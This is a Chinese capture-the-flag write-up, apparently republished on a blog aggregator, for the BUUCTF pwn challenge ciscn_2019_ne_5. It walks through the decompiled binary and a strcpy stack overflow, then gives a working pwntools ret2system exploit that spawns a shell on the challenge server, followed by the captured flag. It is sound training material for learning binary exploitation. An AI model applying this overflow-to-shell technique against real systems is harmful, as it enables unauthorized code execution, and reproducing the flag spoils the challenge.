BUU-ciscn_2019_ne_5

2023-10-17 23:50
文章标签 2019 buu ciscn ne

本文主要是介绍BUU-ciscn_2019_ne_5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

检查保护

在这里插入图片描述

IDA

逻辑不是很复杂,

第一次提示输入admin密码,密码要输入administrator才能下一步

接着是输入功能选项(0~3)

第一个输入,看起来没啥用,但是传入的是src字符串,返回的也是src

在这里插入图片描述

第二个输出,进去只有一个put,一无所有

第三个是打印,里面发现了system函数

在这里插入图片描述

第四个本应该是’0’选项,这里多了个’4’,函数名叫getflag,进去看是个输出flag的函数,初步预测跳转到这里就可以了。

在这里插入图片描述

第五个才是’0’的退出

int __cdecl main(int argc, const char **argv, const char **envp)
{int result; // eaxint v4; // [esp+0h] [ebp-100h] BYREFchar src[4]; // [esp+4h] [ebp-FCh] BYREFchar v6[124]; // [esp+8h] [ebp-F8h] BYREFchar s1[4]; // [esp+84h] [ebp-7Ch] BYREFchar v8[96]; // [esp+88h] [ebp-78h] BYREFint *v9; // [esp+F4h] [ebp-Ch]v9 = &argc;setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);fflush(stdout);*(_DWORD *)s1 = 48;memset(v8, 0, sizeof(v8));*(_DWORD *)src = 48;memset(v6, 0, sizeof(v6));puts("Welcome to use LFS.");printf("Please input admin password:");__isoc99_scanf("%100s", s1);if ( strcmp(s1, "administrator") ){puts("Password Error!");exit(0);}puts("Welcome!");puts("Input your operation:");puts("1.Add a log.");puts("2.Display all logs.");puts("3.Print all logs.");printf("0.Exit\n:");__isoc99_scanf("%d", &v4);switch ( v4 ){case 0:exit(0);return result;case 1:AddLog(src);result = sub_804892B(argc, argv, envp);break;case 2:Display(src);result = sub_804892B(argc, argv, envp);break;case 3:Print();result = sub_804892B(argc, argv, envp);break;case 4:GetFlag(src);result = sub_804892B(argc, argv, envp);break;default:result = sub_804892B(argc, argv, envp);break;}return result;
}

解题

本来我想直接在功能选项输入4,但是弹出的flag是0……

在这里插入图片描述

可能直接跳转还是不行,这里看看能不能rop:

再次翻看四个选项,发现getflag有个strcpy,这里可以栈溢出跳转地址,dest栈空间0x48。拷贝的src可以在选项1里输入。

在这里插入图片描述


现在手里有了system,栈溢出点,就差/bin/sh

这里我找了很久没找到,暂时也没学libc库怎么调用,看大佬wp发现有个ffllush字符,可以截取里面的sh(太骚了),由于只截取部分字符,所以地址要手动偏移偏移。

在这里插入图片描述

我一开始不知道咋算,是按照小端序?要不要算\00?后面发现大佬用ROPgatget直接找关键字符串,服ORZ

在这里插入图片描述

0x080482E6到0x080482EA增加了4,应该是1个字符占一个地址,不是小端序,fflu刚好四个地址,\00在sh后面

EXP

👴吐了,sytem函数没点进去,调用错地址了,一直报错……

在这里插入图片描述

在这里插入图片描述

from pwn import *
p=remote('node3.buuoj.cn',29801)
context.log_level='debug'
p.recvuntil("password:")
p.sendline("administrator")
p.recvuntil("operation:")
p.sendline("1")
p.sendline('A'*0x48+'a'*4+p32(0x80484D0)+'a'*4+p32(0x080482EA))
p.recvuntil(":")
p.sendline('4')
p.interactive()

附:获取_system地址的其它写法:

system_plt = elf.plt['system']
system_addr=elf.sym['system']

flag

flag{e88eea8b-c04b-468e-a5c9-d6bb08c3547b}

坑&填坑

1.明明构造了system("/sh")为什么还要倒回去执行4号选项才能正常进入交互界面,否则报错

在这里插入图片描述

2./bin/sh 和 /sh有啥区别

没啥区别

这篇关于BUU-ciscn_2019_ne_5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/228754

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对

Photoshop CC 2019圆形的抠图

快速进入矩形选区 快速在矩形和圆形选区之前切换: shift+M 选择的时候,按住shift,可以选中正方形/圆形   以中心点画圆: alt + 拖拽 再利用变换选区功能即可实现圆的选中 效果如图所示: 再使用自由变换,即可放大,缩小球的大小: ctrl + T 阴影部分的处理: 1)去其他球那里选择个椭圆形选区 2)选择编辑-填充 3)使用滤镜里

Windows Server 2019 中文版、英文版下载 (updated Aug 2024)

Windows Server 2019 中文版、英文版下载 (updated Aug 2024) Windows Server 2019 Version 1809 请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。 本站将不定期发布官方原版风格月度更新 ISO。 Windows Server